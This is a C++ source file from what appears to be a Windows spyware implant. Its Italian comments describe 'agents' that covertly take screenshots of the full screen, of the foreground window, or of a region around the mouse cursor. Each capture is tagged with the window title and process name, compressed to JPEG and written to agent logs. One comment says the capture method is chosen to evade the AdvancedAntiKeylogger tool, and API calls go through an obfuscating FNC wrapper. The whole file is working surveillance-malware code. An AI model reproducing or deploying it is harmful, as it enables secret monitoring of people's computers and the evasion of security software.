BitmapCommon.cpp
#include "H4-DLL.h"
#include "HM_BitmapCommon.h"
#include "common.h"
#include "demo_functions.h"
#include "LOG.h"
#include <gdiplus.h>
using namespace Gdiplus;
BOOL IsAero()
{
HKEY hKey;
DWORD composition=0, len=sizeof(DWORD);
if(FNC(RegOpenKeyExW)(HKEY_CURRENT_USER, L"Software\\Microsoft\\Windows\\DWM", 0, KEY_READ, &hKey) != ERROR_SUCCESS)
return FALSE;
if(FNC(RegQueryValueExW)(hKey, L"Composition", NULL, NULL, (BYTE *)&composition, &len) != ERROR_SUCCESS) {
FNC(RegCloseKey)(hKey);
return FALSE;
}
FNC(RegCloseKey)(hKey);
if (composition==0)
return FALSE;
return TRUE;
}
int GetEncoderClsid(const WCHAR* format, CLSID* pClsid)
{
UINT num = 0; // number of image encoders
UINT size = 0; // size of the image encoder array in bytes
ImageCodecInfo* pImageCodecInfo = NULL;
GetImageEncodersSize(&num, &size);
if(size == 0)
return -1; // Failure
pImageCodecInfo = (ImageCodecInfo*)(malloc(size));
if(pImageCodecInfo == NULL)
return -1; // Failure
GetImageEncoders(num, size, pImageCodecInfo);
for(UINT j = 0; j < num; ++j) {
if( wcscmp(pImageCodecInfo[j].MimeType, format) == 0 )
{
*pClsid = pImageCodecInfo[j].Clsid;
free(pImageCodecInfo);
return j; // Success
}
}
free(pImageCodecInfo);
return -1; // Failure
}
BYTE *JpgConvert(BYTE *dataptr, DWORD imageSize, DWORD *sizeDst, DWORD quality)
{
HGLOBAL hBuffer = NULL, hBufferDst = NULL;
void *pBuffer = NULL, *pBufferDst = NULL;
IStream *pStream = NULL, *pStreamDst = NULL;
BYTE *dataptrDst = NULL;
GdiplusStartupInput gdiplusStartupInput;
ULONG_PTR gdiplusToken;
CLSID encoderClsid;
Image *image = NULL;
EncoderParameters encoderParameters;
if (!sizeDst)
return NULL;
*sizeDst = 0;
CoInitialize(NULL);
if (GdiplusStartup(&gdiplusToken, &gdiplusStartupInput, NULL) != Ok) {
CoUninitialize();
return NULL;
}
if (GetEncoderClsid(L"image/jpeg", &encoderClsid) == -1) {
GdiplusShutdown(gdiplusToken);
CoUninitialize();
return NULL;
}
encoderParameters.Count = 1;
encoderParameters.Parameter[0].Guid = EncoderQuality;
encoderParameters.Parameter[0].Type = EncoderParameterValueTypeLong;
encoderParameters.Parameter[0].NumberOfValues = 1;
encoderParameters.Parameter[0].Value = &quality;
hBuffer = GlobalAlloc(GMEM_MOVEABLE, imageSize);
if (!hBuffer) {
GdiplusShutdown(gdiplusToken);
CoUninitialize();
return NULL;
}
pBuffer = GlobalLock(hBuffer);
if (!pBuffer) {
GlobalFree(hBuffer);
GdiplusShutdown(gdiplusToken);
CoUninitialize();
return NULL;
}
CopyMemory(pBuffer, dataptr, imageSize);
if (FNC(CreateStreamOnHGlobal)(hBuffer, FALSE, &pStream) == S_OK) {
image = new Image(pStream);
if (image) {
if (hBufferDst = GlobalAlloc(GMEM_MOVEABLE, imageSize)) {
if (pBufferDst = GlobalLock(hBufferDst)) {
if (FNC(CreateStreamOnHGlobal)(hBufferDst, FALSE, &pStreamDst) == S_OK) {
if (image->Save(pStreamDst, &encoderClsid, &encoderParameters) == Ok) {
ULARGE_INTEGER position;
LARGE_INTEGER null_int;
DWORD dummy;
null_int.HighPart = null_int.LowPart = 0;
if (pStreamDst->Seek(null_int, STREAM_SEEK_CUR, &position) == S_OK) {
if (dataptrDst = (BYTE *)malloc(position.LowPart)) {
*sizeDst = position.LowPart;
pStreamDst->Seek(null_int, STREAM_SEEK_SET, &position);
pStreamDst->Read(dataptrDst, *sizeDst, &dummy);
}
}
}
pStreamDst->Release();
}
GlobalUnlock(hBufferDst);
}
GlobalFree(hBufferDst);
}
delete image;
}
pStream->Release();
}
GlobalUnlock(hBuffer);
GlobalFree(hBuffer);
GdiplusShutdown(gdiplusToken);
CoUninitialize();
return dataptrDst;
}
void BmpToJpgLog(DWORD agent_tag, BYTE *additional_header, DWORD additional_len, BITMAPINFOHEADER *pBMI, size_t cbBMI, BYTE *pData, size_t cbData, DWORD quality)
{
HANDLE hf;
BITMAPFILEHEADER bmf = { };
BYTE *source_bmp = NULL, *dest_jpg = NULL;
DWORD bmp_size, jpg_size;
if (pBMI->biHeight * pBMI->biWidth * pBMI->biBitCount / 8 != cbData)
return;
bmf.bfType = 'MB';
bmf.bfSize = cbBMI+ cbData + sizeof(bmf);
bmf.bfOffBits = sizeof(bmf) + cbBMI;
bmp_size = bmf.bfOffBits + cbData;
if (!(source_bmp = (BYTE *)malloc(bmp_size)))
return;
memcpy(source_bmp, &bmf, sizeof(bmf));
memcpy(source_bmp+sizeof(bmf), pBMI, cbBMI);
memcpy(source_bmp+sizeof(bmf)+cbBMI, pData, cbData);
if (dest_jpg = JpgConvert(source_bmp, bmp_size, &jpg_size, quality)) {
hf = Log_CreateFile(agent_tag, additional_header, additional_len);
Log_WriteFile(hf, (BYTE *)dest_jpg, jpg_size);
Log_CloseFile(hf);
}
SAFE_FREE(source_bmp);
SAFE_FREE(dest_jpg);
}
// Esegue uno snpashot dello schermo
// Questa funzione e' usata anche dall'agente URL
void TakeSnapShot(HWND grabwind, BOOL only_window, DWORD quality)
{
HDC hdccap = 0, g_hScrDC = 0;
HBITMAP hbmcap = 0;
DWORD g_xscdim, g_yscdim, g_xmirr, g_ymirr, x_start;
BITMAPINFOHEADER bmiHeader;
DWORD *pdwFullBits = NULL;
HGDIOBJ gdiold = 0;
BOOL is_aero;
WINDOWINFO wininfo;
int winx, winy;
// Tutto il display. Viene calcolato dalla foreground window
// per aggirare AdvancedAntiKeylogger
if (!grabwind)
if (!(grabwind = GetForegroundWindow()))
return;
// Se dobbiamo prendere lo schermo intero su Aero prende il DC dello
is_aero = IsAero();
if (is_aero && !only_window) {
g_hScrDC = GetDC(NULL);
wininfo.cbSize = sizeof(wininfo);
if (!FNC(GetWindowInfo)(FNC(GetDesktopWindow)(), &wininfo)) {
if (g_hScrDC) ReleaseDC(NULL, g_hScrDC);
return;
}
wininfo.rcClient.left = 0;
wininfo.rcClient.top = 0;
wininfo.rcClient.right = GetSystemMetrics(SM_CXSCREEN);
wininfo.rcClient.bottom = GetSystemMetrics(SM_CYSCREEN);
} else {
g_hScrDC = GetDC(grabwind);
wininfo.cbSize = sizeof(wininfo);
if (!FNC(GetWindowInfo)(grabwind, &wininfo)) {
if (g_hScrDC) ReleaseDC(grabwind, g_hScrDC);
return;
}
}
if (only_window) {
// Clipping per le finestre maximized o che escono dallo schermo
if (wininfo.rcWindow.left < 0)
wininfo.rcWindow.left = 0;
if (wininfo.rcWindow.top < 0)
wininfo.rcWindow.top = 0;
if (wininfo.rcWindow.right > GetSystemMetrics(SM_CXSCREEN))
wininfo.rcWindow.right = GetSystemMetrics(SM_CXSCREEN);
if (wininfo.rcWindow.bottom > GetSystemMetrics(SM_CYSCREEN))
wininfo.rcWindow.bottom = GetSystemMetrics(SM_CYSCREEN);
if (wininfo.rcWindow.left >= wininfo.rcWindow.right) {
if (g_hScrDC) ReleaseDC(grabwind, g_hScrDC);
return;
}
if (wininfo.rcWindow.top >= wininfo.rcWindow.bottom) {
if (g_hScrDC) ReleaseDC(grabwind, g_hScrDC);
return;
}
g_xscdim = wininfo.rcWindow.right - wininfo.rcWindow.left;
g_yscdim = wininfo.rcWindow.bottom - wininfo.rcWindow.top;
g_ymirr = g_yscdim;
if (wininfo.dwExStyle & WS_EX_LAYOUTRTL) {
winx = -(wininfo.rcWindow.right - wininfo.rcClient.right);
winy = -(wininfo.rcClient.top - wininfo.rcWindow.top);;
x_start = g_xscdim-1;
g_xmirr = -g_xscdim;
} else {
winx = -(wininfo.rcClient.left - wininfo.rcWindow.left);
winy = -(wininfo.rcClient.top - wininfo.rcWindow.top);
x_start = 0;
g_xmirr = g_xscdim;
}
} else {
g_xscdim = GetSystemMetrics(SM_CXSCREEN);
g_yscdim = GetSystemMetrics(SM_CYSCREEN);
if (wininfo.dwExStyle & WS_EX_LAYOUTRTL) {
winx = -(g_xscdim - wininfo.rcClient.right);
winy = -wininfo.rcClient.top;
x_start = g_xscdim-1;
g_xmirr = -g_xscdim;
g_ymirr = g_yscdim;
} else {
winx = -wininfo.rcClient.left;
winy = -wininfo.rcClient.top;
x_start = 0;
g_xmirr = g_xscdim;
g_ymirr = g_yscdim;
}
}
// Alloca la bitmap di dimensione sicuramente superiore a quanto sara'
if ( !(pdwFullBits = (DWORD *)malloc(g_xscdim * g_yscdim * sizeof(DWORD))) ) {
if (is_aero && !only_window) {
if (g_hScrDC) ReleaseDC(NULL, g_hScrDC);
} else {
if (g_hScrDC) ReleaseDC(grabwind, g_hScrDC);
}
return;
}
// Settaggi per il capture dello screen
ZeroMemory(&bmiHeader, sizeof(BITMAPINFOHEADER));
bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
bmiHeader.biWidth = g_xscdim;
bmiHeader.biHeight = g_yscdim;
bmiHeader.biPlanes = 1;
bmiHeader.biBitCount = 16;
bmiHeader.biCompression = BI_RGB;
bmiHeader.biSizeImage = bmiHeader.biWidth * bmiHeader.biHeight * (bmiHeader.biBitCount/8);
// Crea un DC memory
hdccap = CreateCompatibleDC(NULL);
hbmcap = CreateCompatibleBitmap(g_hScrDC, g_xscdim, g_yscdim);
// Copia lo schermo nella bitmap
gdiold = SelectObject(hdccap, hbmcap);
//BitBlt(hdccap, 0, 0, g_xscdim, g_yscdim, g_hScrDC, -winx, -winy, SRCCOPY);
StretchBlt(hdccap, x_start, 0, g_xmirr, g_ymirr, g_hScrDC, winx, winy, g_xscdim, g_yscdim, SRCCOPY);
if (FNC(GetDIBits)(hdccap, hbmcap, 0, g_yscdim, (BYTE *)pdwFullBits, (BITMAPINFO *)&bmiHeader, DIB_RGB_COLORS)) {
// Prende il titolo della finestra
WCHAR svTitle[SMLSIZE];
memset(svTitle, 0, sizeof(svTitle));
if (HM_SafeGetWindowTextW(grabwind, (LPWSTR)svTitle, SMLSIZE-2) == 0)
wsprintfW((LPWSTR)svTitle, L"UNKNOWN");
//Prende il nome della finestra e del processo per scriverlo nell'header
DWORD dwProcessId = 0;
WCHAR *proc_name = NULL;
SnapshotAdditionalData *snap_additional_header;
BYTE *log_header;
DWORD additional_len;
FNC(GetWindowThreadProcessId)(grabwind, &dwProcessId);
if (!dwProcessId || !(proc_name = HM_FindProcW(dwProcessId)))
proc_name = wcsdup(L"UNKNOWN");
additional_len = sizeof(SnapshotAdditionalData) + wcslen(proc_name)*sizeof(WCHAR) + wcslen(svTitle)*sizeof(WCHAR);
log_header = (BYTE *)malloc(additional_len);
if (log_header) {
// Crea l'header addizionale
snap_additional_header = (SnapshotAdditionalData *)log_header;
snap_additional_header->uVersion = LOG_SNAP_VERSION;
snap_additional_header->uProcessNameLen = wcslen(proc_name)*sizeof(WCHAR);
snap_additional_header->uWindowNameLen = wcslen(svTitle)*sizeof(WCHAR);
log_header+=sizeof(SnapshotAdditionalData);
memcpy(log_header, proc_name, snap_additional_header->uProcessNameLen);
log_header+=snap_additional_header->uProcessNameLen;
memcpy(log_header, svTitle, snap_additional_header->uWindowNameLen);
//Output su file
BmpToJpgLog(PM_SNAPSHOTAGENT, (BYTE *)snap_additional_header, additional_len, &bmiHeader, sizeof(BITMAPINFOHEADER), (BYTE *)pdwFullBits, bmiHeader.biSizeImage, quality);
SAFE_FREE(snap_additional_header);
}
SAFE_FREE(proc_name);
}
// Rilascio oggetti....
if (gdiold) DeleteObject(gdiold);
if (hbmcap) DeleteObject(hbmcap);
if (hdccap) DeleteDC(hdccap);
if (is_aero && !only_window) {
if (g_hScrDC) ReleaseDC(NULL, g_hScrDC);
} else {
if (g_hScrDC) ReleaseDC(grabwind, g_hScrDC);
}
SAFE_FREE(pdwFullBits);
}
// Esegue uno snpashot di una porzione dello schermo
// Questa funzione e' usata dall'agente MouseLog
void TakeMiniSnapShot(DWORD agent_tag, HWND grabwind, int xPos, int yPos, DWORD g_xscdim, DWORD g_yscdim)
{
HDC hdccap = 0, g_hScrDC = 0;
HBITMAP hbmcap = 0;
DWORD g_xmirr, g_ymirr, x_start;
BITMAPINFOHEADER bmiHeader;
DWORD *pdwFullBits = NULL;
HGDIOBJ gdiold = 0;
WINDOWINFO wininfo;
int winx, winy;
int abs_x, abs_y;
DWORD dwProcessId = 0;
WCHAR *proc_name = NULL;
MouseAdditionalData *mouse_additional_header;
BYTE *log_header;
DWORD additional_len;
// Controllo di validita' dei parametri
if (g_xscdim == 0 || g_yscdim == 0 ||
xPos > GetSystemMetrics(SM_CXSCREEN) || yPos > GetSystemMetrics(SM_CYSCREEN) ||
xPos < 0 || yPos < 0)
return;
// Le coordinate passate alla funzione sono relative a
// questa finestra
if (!grabwind)
return;
g_hScrDC = GetDC(grabwind);
wininfo.cbSize = sizeof(wininfo);
if (!FNC(GetWindowInfo)(grabwind, &wininfo)) {
if (g_hScrDC) ReleaseDC(grabwind, g_hScrDC);
return;
}
winx = xPos - (g_xscdim/2);
winy = yPos - (g_yscdim/2);
if (wininfo.dwExStyle & WS_EX_LAYOUTRTL) {
abs_x = wininfo.rcClient.right - xPos;
abs_y = wininfo.rcClient.top + yPos;
x_start = g_xscdim-1;
g_xmirr = -g_xscdim;
g_ymirr = g_yscdim;
} else {
abs_x = wininfo.rcClient.left + xPos;
abs_y = wininfo.rcClient.top + yPos;
x_start = 0;
g_xmirr = g_xscdim;
g_ymirr = g_yscdim;
}
// Alloca la bitmap di dimensione sicuramente superiore a quanto sara'
if ( !(pdwFullBits = (DWORD *)malloc(g_xscdim * g_yscdim * sizeof(DWORD))) ) {
if (g_hScrDC) ReleaseDC(grabwind, g_hScrDC);
return;
}
// Settaggi per il capture dello screen
ZeroMemory(&bmiHeader, sizeof(BITMAPINFOHEADER));
bmiHeader.biSize = sizeof(BITMAPINFOHEADER);
bmiHeader.biWidth = g_xscdim;
bmiHeader.biHeight = g_yscdim;
bmiHeader.biPlanes = 1;
bmiHeader.biBitCount = 16;
bmiHeader.biCompression = BI_RGB;
bmiHeader.biSizeImage = bmiHeader.biWidth * bmiHeader.biHeight * (bmiHeader.biBitCount/8);
// Crea un DC memory
hdccap = CreateCompatibleDC(NULL);
hbmcap = CreateCompatibleBitmap(g_hScrDC, g_xscdim, g_yscdim);
// Copia lo schermo nella bitmap
gdiold = SelectObject(hdccap, hbmcap);
//BitBlt(hdccap, 0, 0, g_xscdim, g_yscdim, g_hScrDC, -winx, -winy, SRCCOPY);
StretchBlt(hdccap, x_start, 0, g_xmirr, g_ymirr, g_hScrDC, winx, winy, g_xscdim, g_yscdim, SRCCOPY);
if (FNC(GetDIBits)(hdccap, hbmcap, 0, g_yscdim, (BYTE *)pdwFullBits, (BITMAPINFO *)&bmiHeader, DIB_RGB_COLORS)) {
// Prende il titolo della finestra
WCHAR svTitle[SMLSIZE];
memset(svTitle, 0, sizeof(svTitle));
if (HM_SafeGetWindowTextW(grabwind, (LPWSTR)svTitle, SMLSIZE-2) == 0)
wsprintfW((LPWSTR)svTitle, L"UNKNOWN");
//Prende il nome del processo per scriverlo nell'header
FNC(GetWindowThreadProcessId)(grabwind, &dwProcessId);
if (!dwProcessId || !(proc_name = HM_FindProcW(dwProcessId)))
proc_name = wcsdup(L"UNKNOWN");
additional_len = sizeof(MouseAdditionalData) + wcslen(proc_name)*sizeof(WCHAR) + wcslen(svTitle)*sizeof(WCHAR);
log_header = (BYTE *)malloc(additional_len);
if (log_header) {
// Crea l'header addizionale
mouse_additional_header = (MouseAdditionalData *)log_header;
mouse_additional_header->uVersion = LOG_MOUSE_VERSION;
mouse_additional_header->xPos = abs_x;
mouse_additional_header->yPos = abs_y;
mouse_additional_header->max_x = GetSystemMetrics(SM_CXSCREEN);
mouse_additional_header->max_y = GetSystemMetrics(SM_CYSCREEN);
mouse_additional_header->uProcessNameLen = wcslen(proc_name)*sizeof(WCHAR);
mouse_additional_header->uWindowNameLen = wcslen(svTitle)*sizeof(WCHAR);
log_header+=sizeof(MouseAdditionalData);
memcpy(log_header, proc_name, mouse_additional_header->uProcessNameLen);
log_header+=mouse_additional_header->uProcessNameLen;
memcpy(log_header, svTitle, mouse_additional_header->uWindowNameLen);
//Output su file
BmpToJpgLog(agent_tag, (BYTE *)mouse_additional_header, additional_len, &bmiHeader, sizeof(BITMAPINFOHEADER), (BYTE *)pdwFullBits, bmiHeader.biSizeImage, 50);
SAFE_FREE(mouse_additional_header);
}
SAFE_FREE(proc_name);
}
// Rilascio oggetti....
if (gdiold) DeleteObject(gdiold);
if (hbmcap) DeleteObject(hbmcap);
if (hdccap) DeleteDC(hdccap);
if (g_hScrDC) ReleaseDC(grabwind, g_hScrDC);
SAFE_FREE(pdwFullBits);
}